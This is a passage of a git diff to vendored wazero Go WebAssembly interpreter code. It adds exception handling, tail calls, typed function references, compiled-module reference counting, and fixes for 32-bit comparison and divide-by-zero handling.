wasm.OpcodeTailCallReturnCall, + wasm.OpcodeTailCallReturnCallIndirect, + // exception handling - throw reads tag index + wasm.OpcodeThrow, + // typed function references + wasm.OpcodeCallRef, + wasm.OpcodeReturnCallRef: // Assumes that we are at the opcode now so skip it before read immediates. v, num, err := leb128.LoadUint32(c.body[c.pc+1:]) if err != nil { @@ -3562,7 +3779,7 @@ func (c *compiler) emitDefaultValue(t wasm.ValueType) { case wasm.ValueTypeI32: c.stackPush(unsignedTypeI32) c.emit(newOperationConstI32(0)) - case wasm.ValueTypeI64, wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + case wasm.ValueTypeI64, wasm.ValueTypeExternref, wasm.ValueTypeFuncref, wasm.ValueTypeExnref: c.stackPush(unsignedTypeI64) c.emit(newOperationConstI64(0)) case wasm.ValueTypeF32: @@ -3574,6 +3791,14 @@ func (c *compiler) emitDefaultValue(t wasm.ValueType) { case wasm.ValueTypeV128: c.stackPush(unsignedTypeV128) c.emit(newOperationV128Const(0, 0)) + default: + // Concrete ref types (ref $t) have variable bit patterns. + if t.IsRef() { + c.stackPush(unsignedTypeI64) + c.emit(newOperationConstI64(0)) + } else { + panic(fmt.Sprintf("bug: unsupported value type for default value: 0x%x", t)) + } } } @@ -3630,3 +3855,30 @@ func (c *compiler) readMemoryArg(tag string) (memoryArg, error) { c.pc += num return memoryArg{Offset: offset, Alignment: alignment}, nil } + +// parseCatchClause parses a single catch clause from the bytecode at c.pc, +// advancing c.pc past the clause. Returns the kind, tag index (0 for catch_all +// variants), and label index. +func (c *compiler) parseCatchClause() (kind byte, tagIdx, labelIdx uint32, err error) { + var n uint64 + c.pc++ + kind = c.body[c.pc] + switch kind { + case wasm.CatchKindCatch, wasm.CatchKindCatchRef: + c.pc++ + tagIdx, n, err = leb128.LoadUint32(c.body[c.pc:]) + if err != nil { + err = fmt.Errorf("reading catch tag index: %w", err) + return + } + c.pc += n - 1 + } + c.pc++ + labelIdx, n, err = leb128.LoadUint32(c.body[c.pc:]) + if err != nil { + err = fmt.Errorf("reading catch label index: %w", err) + return + } + c.pc += n - 1 + return +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/interpreter.go b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/interpreter.go index 5b5e6e9d..082851ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/interpreter.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/interpreter.go @@ -7,6 +7,7 @@ import ( "fmt" "math" "math/bits" + "slices" "sync" "unsafe" @@ -27,27 +28,37 @@ import ( // The default value should suffice for most use cases. Those wishing to change this can via `go build -ldflags`. var callStackCeiling = 2000 +type compiledFunctionWithCount struct { + funcs []compiledFunction + refCount int +} + // engine is an interpreter implementation of wasm.Engine type engine struct { enabledFeatures api.CoreFeatures - compiledFunctions map[wasm.ModuleID][]compiledFunction // guarded by mutex. - mux sync.RWMutex + compiledFunctions map[wasm.ModuleID]*compiledFunctionWithCount // guarded by mutex. + mux sync.Mutex } func NewEngine(_ context.Context, enabledFeatures api.CoreFeatures, _ filecache.Cache) wasm.Engine { return &engine{ enabledFeatures: enabledFeatures, - compiledFunctions: map[wasm.ModuleID][]compiledFunction{}, + compiledFunctions: map[wasm.ModuleID]*compiledFunctionWithCount{}, } } // Close implements the same method as documented on wasm.Engine. func (e *engine) Close() (err error) { + e.mux.Lock() + defer e.mux.Unlock() + clear(e.compiledFunctions) return } // CompiledModuleCount implements the same method as documented on wasm.Engine. func (e *engine) CompiledModuleCount() uint32 { + e.mux.Lock() + defer e.mux.Unlock() return uint32(len(e.compiledFunctions)) } @@ -59,19 +70,37 @@ func (e *engine) DeleteCompiledModule(m *wasm.Module) { func (e *engine) deleteCompiledFunctions(module *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() + cf, ok := e.compiledFunctions[module.ID] + if !ok { + return + } + cf.refCount-- + if cf.refCount > 0 { + return + } delete(e.compiledFunctions, module.ID) } func (e *engine) addCompiledFunctions(module *wasm.Module, fs []compiledFunction) { e.mux.Lock() defer e.mux.Unlock() - e.compiledFunctions[module.ID] = fs + if c, ok := e.compiledFunctions[module.ID]; ok { + c.refCount++ + return + } + e.compiledFunctions[module.ID] = &compiledFunctionWithCount{funcs: fs, refCount: 1} } -func (e *engine) getCompiledFunctions(module *wasm.Module) (fs []compiledFunction, ok bool) { - e.mux.RLock() - defer e.mux.RUnlock() - fs, ok = e.compiledFunctions[module.ID] +func (e *engine) getCompiledFunctions(module *wasm.Module, increaseRefCount bool) (fs []compiledFunction, ok bool) { + e.mux.Lock() + defer e.mux.Unlock() + cf, ok := e.compiledFunctions[module.ID] + if ok { + fs = cf.funcs + if increaseRefCount { + cf.refCount++ + } + } return } @@ -101,6 +130,39 @@ func (e *moduleEngine) OwnsGlobals() bool { return false } // MemoryGrown implements wasm.ModuleEngine. func (e *moduleEngine) MemoryGrown() {} +// restorable is implemented by panic values that can restore callEngine state. +// Both *snapshot (snapshotter API) and *thrownException (exception handling) +// implement this interface. +type restorable interface { + // canRestore unwinds ce.frames to callerFrameCount and checks whether a + // handler exists at that depth. If no handler is found, the caller + // re-panics and the next outer callWithUnwind unwinds further. + canRestore(ce *callEngine, callerFrameCount int) bool + // doRestore restores the callEngine state to the given stack frame depth. + doRestore(ce *callEngine, callerFrameCount int) +} + +// thrownException is the panic value for wasm exception propagation. +type thrownException struct { + exception *wasm.Exception + // Fields populated by canRestore for doRestore. + clause *exceptionTableCatchClause + values []uint64 +} + +func (t *thrownException) canRestore(ce *callEngine, callerFrameCount int) bool { + ce.frames = ce.frames[:callerFrameCount] + frame := ce.frames[callerFrameCount-1] + t.clause, t.values = searchExceptionTable(t.exception, frame) + return t.clause != nil +} + +func (t *thrownException) doRestore(ce *callEngine, callerFrameCount int) { + frame := ce.frames[callerFrameCount-1] + ce.applyExceptionHandler(frame, t.clause, t.values) + t.clause, t.values = nil, nil +} + // callEngine holds context per moduleEngine.Call, and shared across all the // function calls originating from the same moduleEngine.Call execution. // @@ -122,6 +184,94 @@ type callEngine struct { stackIterator stackIterator } +// matchCatchClause checks whether a single catch clause matches the given exception. +// Returns whether it matched and the values to push onto the stack. +func matchCatchClause(kind byte, clauseTag *wasm.TagInstance, exn *wasm.Exception) (matched bool, values []uint64) { + switch kind { + case wasm.CatchKindCatch: + if exn.Tag == clauseTag { + return true, slices.Clone(exn.Params) + } + case wasm.CatchKindCatchRef: + if exn.Tag == clauseTag { + values = slices.Clone(exn.Params) + values = append(values, uint64(uintptr(unsafe.Pointer(exn)))) + return true, values + } + case wasm.CatchKindCatchAll: + return true, nil + case wasm.CatchKindCatchAllRef: + return true, []uint64{uint64(uintptr(unsafe.Pointer(exn)))} + } + return false, nil +} + +// searchExceptionTable searches the compiled function's static exception table +// for a handler matching the given exception at the current PC. Returns the +// matched clause and catch values, or nil if no handler matches. Searches +// backwards so inner try_tables (which have higher indices) are checked first. +// This function is pure — it does not modify callEngine state. +func searchExceptionTable(exn *wasm.Exception, frame *callFrame) (*exceptionTableCatchClause, []uint64) { + table := frame.f.parent.exceptionTable + pc := frame.pc + for i := len(table) - 1; i >= 0; i-- { + entry := &table[i] + if pc < entry.startPC || pc >= entry.endPC { + continue + } + for j := range entry.clauses { + clause := &entry.clauses[j] + var clauseTag *wasm.TagInstance + if clause.kind == wasm.CatchKindCatch || clause.kind == wasm.CatchKindCatchRef { + clauseTag = frame.f.moduleInstance.Tags[clause.tagIndex] + } + matched, values := matchCatchClause(clause.kind, clauseTag, exn) + if matched { + return clause, values + } + } + } + return nil, nil +} + +// applyExceptionHandler applies a matched exception table clause to the callEngine state. +func (ce *callEngine) applyExceptionHandler(frame *callFrame, clause *exceptionTableCatchClause, values []uint64) { + ce.stack = ce.stack[:frame.base-frame.f.funcType.ParamNumInUint64+clause.targetStackDepth] + ce.stack = append(ce.stack, values...) + frame.pc = clause.targetPC +} + +// callWithUnwind calls the target function with support for stack unwinding +// (exception handling and snapshot restores). Returns true if the frame was +// unwound (caller should refresh frame/body/bodyLen and continue the loop). +// Returns false on normal return (caller should do frame.pc++). +func (ce *callEngine) callWithUnwind(ctx context.Context, m *wasm.ModuleInstance, tf *function) bool { + // Short-circuit: skip defer/recover overhead when neither exception + // handlers nor the snapshotter are active for the calling frame. + frame := ce.frames[len(ce.frames)-1] + if len(frame.f.parent.exceptionTable) == 0 && ctx.Value(expctxkeys.EnableSnapshotterKey{}) == nil { + ce.callFunction(ctx, m, tf) + return false + } + + callerFrameCount := len(ce.frames) + caught := false + func() { + defer func() { + if r := recover(); r != nil { + if v, ok := r.(restorable); ok && v.canRestore(ce, callerFrameCount) { + v.doRestore(ce, callerFrameCount) + caught = true + return + } + panic(r) + } + }() + ce.callFunction(ctx, m, tf) + }() + return caught +} + func (e *moduleEngine) newCallEngine(compiled *function) *callEngine { return &callEngine{f: compiled} } @@ -204,6 +354,7 @@ type callFrame struct { type compiledFunction struct { source *wasm.Module body []unionOperation + exceptionTable []exceptionTableEntry listener experimental.FunctionListener offsetsInWasmBinary []uint64 hostFn interface{} @@ -225,7 +376,7 @@ func functionFromUintptr(ptr uintptr) *function { // // For example, if we have (*function)(unsafe.Pointer(ptr)) instead, then the race detector's "checkptr" // subroutine wanrs as "checkptr: pointer arithmetic result points to invalid allocation" - // https://github.com/golang/go/blob/1ce7fcf139417d618c2730010ede2afb41664211/src/runtime/checkptr.go#L69 + // https://github.com/golang/go/blob/go1.24.0/src/runtime/checkptr.go#L69 var wrapped *uintptr = &ptr return *(**function)(unsafe.Pointer(wrapped)) } @@ -242,15 +393,9 @@ type snapshot struct { // Snapshot implements the same method as documented on experimental.Snapshotter. func (ce *callEngine) Snapshot() experimental.Snapshot { - stack := make([]uint64, len(ce.stack)) - copy(stack, ce.stack) - - frames := make([]*callFrame, len(ce.frames)) - copy(frames, ce.frames) - return &snapshot{ - stack: stack, - frames: frames, + stack: slices.Clone(ce.stack), + frames: slices.Clone(ce.frames), ce: ce, } } @@ -261,7 +406,11 @@ func (s *snapshot) Restore(ret []uint64) { panic(s) } -func (s *snapshot) doRestore() { +func (s *snapshot) canRestore(ce *callEngine, _ int) bool { + return s.ce == ce +} + +func (s *snapshot) doRestore(_ *callEngine, _ int) { ce := s.ce ce.stack = s.stack @@ -356,7 +505,7 @@ const callFrameStackSize = 0 // CompileModule implements the same method as documented on wasm.Engine. func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners []experimental.FunctionListener, ensureTermination bool) error { - if _, ok := e.getCompiledFunctions(module); ok { // cache hit! + if _, ok := e.getCompiledFunctions(module, true); ok { // cache hit! return nil } @@ -405,7 +554,7 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta functions: make([]function, len(module.FunctionSection)+int(module.ImportFunctionCount)), } - codes, ok := e.getCompiledFunctions(module) + codes, ok := e.getCompiledFunctions(module, false) if !ok { return nil, errors.New("source module must be compiled before instantiation") } @@ -427,12 +576,10 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta // lowerIR lowers the interpreterir operations to engine friendly struct. func (e *engine) lowerIR(ir *compilationResult, ret *compiledFunction) error { // Copy the body from the result. - ret.body = make([]unionOperation, len(ir.Operations)) - copy(ret.body, ir.Operations) + ret.body = slices.Clone(ir.Operations) // Also copy the offsets if necessary. if offsets := ir.IROperationSourceOffsetsInWasmBinary; len(offsets) > 0 { - ret.offsetsInWasmBinary = make([]uint64, len(offsets)) - copy(ret.offsetsInWasmBinary, offsets) + ret.offsetsInWasmBinary = slices.Clone(offsets) } labelAddressResolutions := [labelKindNum][]uint64{} @@ -449,9 +596,7 @@ func (e *engine) lowerIR(ir *compilationResult, ret *compiledFunction) error { frameToAddresses := labelAddressResolutions[label.Kind()] // Expand the slice if necessary. if diff := fid - len(frameToAddresses) + 1; diff > 0 { - for j := 0; j < diff; j++ { - frameToAddresses = append(frameToAddresses, 0) - } + frameToAddresses = append(frameToAddresses, make([]uint64, diff)...) } frameToAddresses[fid] = address labelAddressResolutions[kind] = frameToAddresses @@ -472,8 +617,47 @@ func (e *engine) lowerIR(ir *compilationResult, ret *compiledFunction) error { target := op.Us[j] e.setLabelAddress(&op.Us[j], label(target), labelAddressResolutions) } + case operationKindTailCallReturnCallIndirect: + e.setLabelAddress(&op.Us[1], label(op.Us[1]), labelAddressResolutions) + case operationKindBrOnNull: + e.setLabelAddress(&op.U1, label(op.U1), labelAddressResolutions) + e.setLabelAddress(&op.U2, label(op.U2), labelAddressResolutions) + case operationKindBrOnNonNull: + e.setLabelAddress(&op.U1, label(op.U1), labelAddressResolutions) + e.setLabelAddress(&op.U2, label(op.U2), labelAddressResolutions) + case operationKindReturnCallRef: + e.setLabelAddress(&op.Us[1], label(op.Us[1]), labelAddressResolutions) + } + } + + // Resolve exception table entries (translate labels to PC). + if len(ir.PendingExceptionTable) > 0 { + ret.exceptionTable = make([]exceptionTableEntry, len(ir.PendingExceptionTable)) + for i, pe := range ir.PendingExceptionTable { + contLabel := newLabel(labelKindContinuation, pe.continuationFrameID) + var endPC uint64 + e.setLabelAddress(&endPC, contLabel, labelAddressResolutions) + + clauses := make([]exceptionTableCatchClause, len(pe.clauses)) + for j, clause := range pe.clauses { + var targetPC uint64 + e.setLabelAddress(&targetPC, clause.targetLabel, labelAddressResolutions) + clauses[j] = exceptionTableCatchClause{ + kind: clause.kind, + tagIndex: clause.tagIndex, + targetPC: targetPC, + targetStackDepth: clause.targetStackDepth, + } + } + + ret.exceptionTable[i] = exceptionTableEntry{ + startPC: uint64(pe.startOpIndex), + endPC: endPC, + clauses: clauses, + } } } + return nil } @@ -623,6 +807,11 @@ func (ce *callEngine) recoverOnCall(ctx context.Context, m *wasm.ModuleInstance, panic(s) } + // If an exception reached the top level without being caught, convert it to an uncaught exception error. + if _, ok := v.(*thrownException); ok { + v = wasmruntime.ErrRuntimeUncaughtException + } + builder := wasmdebug.NewErrorBuilder() frameCount := len(ce.frames) functionListeners := make([]functionListenerInvocation, 0, 16) @@ -740,41 +929,26 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance ce.drop(op.Us[v+1]) frame.pc = op.Us[v] case operationKindCall: - func() { - if ctx.Value(expctxkeys.EnableSnapshotterKey{}) != nil { - defer func() { - if r := recover(); r != nil { - if s, ok := r.(*snapshot); ok && s.ce == ce { - s.doRestore() - frame = ce.frames[len(ce.frames)-1] - body = frame.f.parent.body - bodyLen = uint64(len(body)) - } else { - panic(r) - } - } - }() - } - ce.callFunction(ctx, f.moduleInstance, &functions[op.U1]) - }() + frameUnwound := ce.callWithUnwind(ctx, f.moduleInstance, &functions[op.U1]) + if frameUnwound { + frame = ce.frames[len(ce.frames)-1] + body = frame.f.parent.body + bodyLen = uint64(len(body)) + continue + } frame.pc++ case operationKindCallIndirect: offset := ce.popValue() table := tables[op.U2] - if offset >= uint64(len(table.References)) { - panic(wasmruntime.ErrRuntimeInvalidTableAccess) - } - rawPtr := table.References[offset] - if rawPtr == 0 { - panic(wasmruntime.ErrRuntimeInvalidTableAccess) - } + tf := ce.functionForOffset(table, offset, typeIDs[op.U1]) - tf := functionFromUintptr(rawPtr) - if tf.typeID != typeIDs[op.U1] { - panic(wasmruntime.ErrRuntimeIndirectCallTypeMismatch) + frameUnwound := ce.callWithUnwind(ctx, f.moduleInstance, tf) + if frameUnwound { + frame = ce.frames[len(ce.frames)-1] + body = frame.f.parent.body + bodyLen = uint64(len(body)) + continue } - - ce.callFunction(ctx, f.moduleInstance, tf) frame.pc++ case operationKindDrop: ce.drop(op.U1) @@ -963,7 +1137,10 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance case operationKindNe: var b bool switch unsignedType(op.B1) { - case unsignedTypeI32, unsignedTypeI64: + case unsignedTypeI32: + v2, v1 := ce.popValue(), ce.popValue() + b = uint32(v1) != uint32(v2) + case unsignedTypeI64: v2, v1 := ce.popValue(), ce.popValue() b = v1 != v2 case unsignedTypeF32: @@ -980,7 +1157,11 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance } frame.pc++ case operationKindEqz: - if ce.popValue() == 0 { + v := ce.popValue() + if unsignedInt(op.B1) == unsignedInt32 { + v = uint64(uint32(v)) + } + if v == 0 { ce.pushValue(1) } else { ce.pushValue(0) @@ -995,7 +1176,9 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance b = int32(v1) < int32(v2) case signedTypeInt64: b = int64(v1) < int64(v2) - case signedTypeUint32, signedTypeUint64: + case signedTypeUint32: + b = uint32(v1) < uint32(v2) + case signedTypeUint64: b = v1 < v2 case signedTypeFloat32: b = math.Float32frombits(uint32(v1)) < math.Float32frombits(uint32(v2)) @@ -1017,7 +1200,9 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance b = int32(v1) > int32(v2) case signedTypeInt64: b = int64(v1) > int64(v2) - case signedTypeUint32, signedTypeUint64: + case signedTypeUint32: + b = uint32(v1) > uint32(v2) + case signedTypeUint64: b = v1 > v2 case signedTypeFloat32: b = math.Float32frombits(uint32(v1)) > math.Float32frombits(uint32(v2)) @@ -1039,7 +1224,9 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance b = int32(v1) <= int32(v2) case signedTypeInt64: b = int64(v1) <= int64(v2) - case signedTypeUint32, signedTypeUint64: + case signedTypeUint32: + b = uint32(v1) <= uint32(v2) + case signedTypeUint64: b = v1 <= v2 case signedTypeFloat32: b = math.Float32frombits(uint32(v1)) <= math.Float32frombits(uint32(v2)) @@ -1061,7 +1248,9 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance b = int32(v1) >= int32(v2) case signedTypeInt64: b = int64(v1) >= int64(v2) - case signedTypeUint32, signedTypeUint64: + case signedTypeUint32: + b = uint32(v1) >= uint32(v2) + case signedTypeUint64: b = v1 >= v2 case signedTypeFloat32: b = math.Float32frombits(uint32(v1)) >= math.Float32frombits(uint32(v2)) @@ -1156,6 +1345,10 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance v2, v1 := ce.popValue(), ce.popValue() switch t { case signedTypeFloat32, signedTypeFloat64: // not integers + case signedTypeInt32, signedTypeUint32: + if uint32(v2) == 0 { + panic(wasmruntime.ErrRuntimeIntegerDivideByZero) + } default: if v2 == 0 { panic(wasmruntime.ErrRuntimeIntegerDivideByZero) @@ -1193,8 +1386,15 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance frame.pc++ case operationKindRem: v2, v1 := ce.popValue(), ce.popValue() - if v2 == 0 { - panic(wasmruntime.ErrRuntimeIntegerDivideByZero) + switch signedInt(op.B1) { + case signedInt32, signedUint32: + if uint32(v2) == 0 { + panic(wasmruntime.ErrRuntimeIntegerDivideByZero) + } + default: + if v2 == 0 { + panic(wasmruntime.ErrRuntimeIntegerDivideByZero) + } } switch signedInt(op.B1) { case signedInt32: @@ -1725,12 +1925,17 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance if fillSize+offset > uint64(len(memoryInst.Buffer)) { panic(wasmruntime.ErrRuntimeOutOfBoundsMemoryAccess) } else if fillSize != 0 { - // Uses the copy trick for faster filling buffer. - // https://gist.github.com/taylorza/df2f89d5f9ab3ffd06865062a4cf015d + // Uses the copy trick for faster filling the buffer with the value. + // https://github.com/golang/go/blob/go1.24.0/src/bytes/bytes.go#L664-L673 buf := memoryInst.Buffer[offset : offset+fillSize] - buf[0] = value - for i := 1; i < len(buf); i *= 2 { - copy(buf[i:], buf[:i]) + if value == 0 { + clear(buf) + } else { + buf[0] = value + for i := 1; i < len(buf); { + chunk := min(i, 8192) + i += copy(buf[i:], buf[:chunk]) + } } } frame.pc++ @@ -1804,7 +2009,7 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance panic(wasmruntime.ErrRuntimeInvalidTableAccess) } else if num > 0 { // Uses the copy trick for faster filling the region with the value. - // https://gist.github.com/taylorza/df2f89d5f9ab3ffd06865062a4cf015d + // https://github.com/golang/go/blob/go1.24.0/src/slices/slices.go#L514-L517 targetRegion := table.References[offset : offset+num] targetRegion[0] = ref for i := 1; i < len(targetRegion); i *= 2 { @@ -4331,6 +4536,134 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance memoryInst.Mux.Unlock() ce.pushValue(uint64(old)) frame.pc++ + case operationKindThrow: + tagIndex := uint32(op.U1) + tag := moduleInst.Tags[tagIndex] + paramCount := len(tag.Type.Params) + params := make([]uint64, paramCount) + for i := paramCount - 1; i >= 0; i-- { + params[i] = ce.popValue() + } + exn := &wasm.Exception{Tag: tag, Params: params} + if clause, values := searchExceptionTable(exn, frame); clause != nil { + ce.applyExceptionHandler(frame, clause, values) + continue + } + panic(&thrownException{exception: exn}) + + case operationKindThrowRef: + v := ce.popValue() + if v == 0 { + panic(wasmruntime.ErrRuntimeNullReference) // throw_ref on null exnref traps + } + // Read the Exception pointer directly from the uint64 value to avoid + // conversion from uintptr into unsafe.Pointer, which triggers checkptr. + exn := *(**wasm.Exception)(unsafe.Pointer(&v)) + if clause, values := searchExceptionTable(exn, frame); clause != nil { + ce.applyExceptionHandler(frame, clause, values) + continue + } + panic(&thrownException{exception: exn}) + + case operationKindTailCallReturnCall: + f := &functions[op.U1] + ce.dropForTailCall(frame, f) + body, bodyLen = ce.resetPc(frame, f) + + case operationKindTailCallReturnCallIndirect: + offset := ce.popValue() + table := tables[op.U2] + tf := ce.functionForOffset(table, offset, typeIDs[op.U1]) + + // We are allowing proper tail calls only across functions that belong to the same + // module; for indirect calls, we have to enforce it at run-time. + // For details, see internal/engine/RATIONALE.md + if tf.moduleInstance != f.moduleInstance { + // Revert to a normal call. + frameUnwound := ce.callWithUnwind(ctx, f.moduleInstance, tf) + if frameUnwound { + frame = ce.frames[len(ce.frames)-1] + body = frame.f.parent.body + bodyLen = uint64(len(body)) + continue + } + // Return + ce.drop(op.Us[0]) + // Jump to the function frame (return) + frame.pc = op.Us[1] + continue + } + + ce.dropForTailCall(frame, tf) + body, bodyLen = ce.resetPc(frame, tf) + + case operationKindCallRef: + ref := ce.popValue() + if ref == 0 { + panic(wasmruntime.ErrRuntimeNullReference) + } + tf := functionFromUintptr(uintptr(ref)) + + frameUnwound := ce.callWithUnwind(ctx, f.moduleInstance, tf) + if frameUnwound { + frame = ce.frames[len(ce.frames)-1] + body = frame.f.parent.body + bodyLen = uint64(len(body)) + continue + } + frame.pc++ + + case operationKindReturnCallRef: + ref := ce.popValue() + if ref == 0 { + panic(wasmruntime.ErrRuntimeNullReference) + } + tf := functionFromUintptr(uintptr(ref)) + + if tf.moduleInstance != f.moduleInstance { + frameUnwound := ce.callWithUnwind(ctx, f.moduleInstance, tf) + if frameUnwound { + frame = ce.frames[len(ce.frames)-1] + body = frame.f.parent.body + bodyLen = uint64(len(body)) + continue + } + ce.drop(op.Us[0]) + frame.pc = op.Us[1] + continue + } + + ce.dropForTailCall(frame, tf) + body, bodyLen = ce.resetPc(frame, tf) + + case operationKindRefAsNonNull: + ref := ce.popValue() + if ref == 0 { + panic(wasmruntime.ErrRuntimeNullReference) + } + ce.pushValue(ref) + frame.pc++ + + case operationKindBrOnNull: + ref := ce.popValue() + if ref == 0 { + ce.drop(op.U3) + frame.pc = op.U1 + } else { + ce.pushValue(ref) + frame.pc = op.U2 + } + + case operationKindBrOnNonNull: + ref := ce.popValue() + if ref != 0 { + ce.drop(op.U3) + ce.pushValue(ref) + frame.pc = op.U1 + } else { + frame.pc = op.U2 + } + default: frame.pc++ } @@ -4338,6 +4671,40 @@ func (ce *callEngine) callNativeFunc(ctx context.Context, m *wasm.ModuleInstance ce.popFrame() } +func (ce *callEngine) dropForTailCall(frame *callFrame, f *function) { + base := frame.base - frame.f.funcType.ParamNumInUint64 + paramCount := f.funcType.ParamNumInUint64 + ce.stack = append(ce.stack[:base], ce.stack[len(ce.stack)-paramCount:]...) +} + +func (ce *callEngine) resetPc(frame *callFrame, f *function) (body []unionOperation, bodyLen uint64) { + // The compiler is currently allowing proper tail call only across functions + // that belong to the same module; thus, we can overwrite the frame in-place. + // For details, see internal/engine/RATIONALE.md + frame.f = f + frame.base = len(ce.stack) + frame.pc = 0 + body = frame.f.parent.body + bodyLen = uint64(len(body)) + return body, bodyLen +} + +func (ce *callEngine) functionForOffset(table *wasm.TableInstance, offset uint64, expectedTypeID wasm.FunctionTypeID) *function { + if offset >= uint64(len(table.References)) { + panic(wasmruntime.ErrRuntimeInvalidTableAccess) + } + rawPtr := table.References[offset] + if rawPtr == 0 { + panic(wasmruntime.ErrRuntimeInvalidTableAccess) + } + + tf := functionFromUintptr(rawPtr) + if tf.typeID != expectedTypeID { + panic(wasmruntime.ErrRuntimeIndirectCallTypeMismatch) + } + return tf +} + func wasmCompatMax32bits(v1, v2 uint32) uint64 { return uint64(math.Float32bits(moremath.WasmCompatMax32( math.Float32frombits(v1), @@ -4548,7 +4915,9 @@ func (ce *callEngine) callNativeFuncWithListener(ctx context.Context, m *wasm.Mo // popMemoryOffset takes a memory offset off the stack for use in load and store instructions. // As the top of stack value is 64-bit, this ensures it is in range before returning it. func (ce *callEngine) popMemoryOffset(op *unionOperation) uint32 { - offset := op.U2 + ce.popValue() + // Memory addresses are i32; mask to 32 bits to ignore any + // garbage in the upper bits of the uint64 stack slot. + offset := op.U2 + uint64(uint32(ce.popValue())) if offset > math.MaxUint32 { panic(wasmruntime.ErrRuntimeOutOfBoundsMemoryAccess) } @@ -4564,9 +4933,7 @@ func (ce *callEngine) callGoFuncWithStack(ctx context.Context, m *wasm.ModuleIns // In the interpreter engine, ce.stack may only have capacity to store // parameters. Grow when there are more results than parameters. if growLen := resultLen - paramLen; growLen > 0 { - for i := 0; i < growLen; i++ { - ce.stack = append(ce.stack, 0) - } + ce.stack = append(ce.stack, make([]uint64, growLen)...) stackLen += growLen } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/operations.go b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/operations.go index 3087a718..00cb6803 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/operations.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/operations.go @@ -445,6 +445,24 @@ func (o operationKind) String() (ret string) { ret = "operationKindAtomicRMW8Cmpxchg" case operationKindAtomicRMW16Cmpxchg: ret = "operationKindAtomicRMW16Cmpxchg" + case operationKindTailCallReturnCall: + ret = "operationKindTailCallReturnCall" + case operationKindTailCallReturnCallIndirect: + ret = "operationKindTailCallReturnCallIndirect" + case operationKindThrow: + ret = "operationKindThrow" + case operationKindThrowRef: + ret = "operationKindThrowRef" + case operationKindCallRef: + ret = "operationKindCallRef" + case operationKindReturnCallRef: + ret = "operationKindReturnCallRef" + case operationKindRefAsNonNull: + ret = "operationKindRefAsNonNull" + case operationKindBrOnNull: + ret = "operationKindBrOnNull" + case operationKindBrOnNonNull: + ret = "operationKindBrOnNonNull" default: panic(fmt.Errorf("unknown operation %d", o)) } @@ -768,6 +786,27 @@ const ( // operationKindAtomicRMW16Cmpxchg is the kind for NewOperationAtomicRMW16Cmpxchg. operationKindAtomicRMW16Cmpxchg + // operationKindTailCallReturnCall is the Kind for newOperationTailCallReturnCall. + operationKindTailCallReturnCall + // operationKindTailCallReturnCallIndirect is the Kind for newOperationKindTailCallReturnCallIndirect. + operationKindTailCallReturnCallIndirect + + // operationKindThrow is the Kind for throw instruction. + operationKindThrow + // operationKindThrowRef is the Kind for throw_ref instruction. + operationKindThrowRef + + // operationKindCallRef is the Kind for call_ref instruction. + operationKindCallRef + // operationKindReturnCallRef is the Kind for return_call_ref instruction. + operationKindReturnCallRef + // operationKindRefAsNonNull is the Kind for ref.as_non_null instruction. + operationKindRefAsNonNull + // operationKindBrOnNull is the Kind for br_on_null instruction. + operationKindBrOnNull + // operationKindBrOnNonNull is the Kind for br_on_non_null instruction. + operationKindBrOnNonNull + // operationKindEnd is always placed at the bottom of this iota definition to be used in the test. operationKindEnd ) @@ -1097,6 +1136,33 @@ func (o unionOperation) String() string { operationKindAtomicRMW16Cmpxchg: return o.Kind.String() + case operationKindTailCallReturnCall: + return fmt.Sprintf("%s %d %s", o.Kind, o.U1, label(o.U2).String()) + + case operationKindTailCallReturnCallIndirect: + return fmt.Sprintf("%s %d %d", o.Kind, o.U1, o.U2) + + case operationKindThrow: + return fmt.Sprintf("%s %d", o.Kind, o.U1) + + case operationKindThrowRef: + return o.Kind.String() + + case operationKindCallRef: + return fmt.Sprintf("%s %d", o.Kind, o.U1) + + case operationKindReturnCallRef: + return fmt.Sprintf("%s %d", o.Kind, o.U1) + + case operationKindRefAsNonNull: + return o.Kind.String() + + case operationKindBrOnNull: + return fmt.Sprintf("%s %s %s", o.Kind, label(o.U1).String(), label(o.U2).String()) + + case operationKindBrOnNonNull: + return fmt.Sprintf("%s %s %s", o.Kind, label(o.U1).String(), label(o.U2).String()) + default: panic(fmt.Sprintf("TODO: %v", o.Kind)) } @@ -2810,3 +2876,103 @@ func newOperationAtomicRMW8Cmpxchg(unsignedType unsignedType, arg memoryArg) uni func newOperationAtomicRMW16Cmpxchg(unsignedType unsignedType, arg memoryArg) unionOperation { return unionOperation{Kind: operationKindAtomicRMW16Cmpxchg, B1: byte(unsignedType), U1: uint64(arg.Alignment), U2: uint64(arg.Offset)} } + +// newOperationTailCallReturnCall is a constructor for unionOperation with operationKindTailCallReturnCall. +// +// This corresponds to +// +// wasm.OpcodeTailCallReturnCall. +func newOperationTailCallReturnCall(functionIndex uint32) unionOperation { + return unionOperation{Kind: 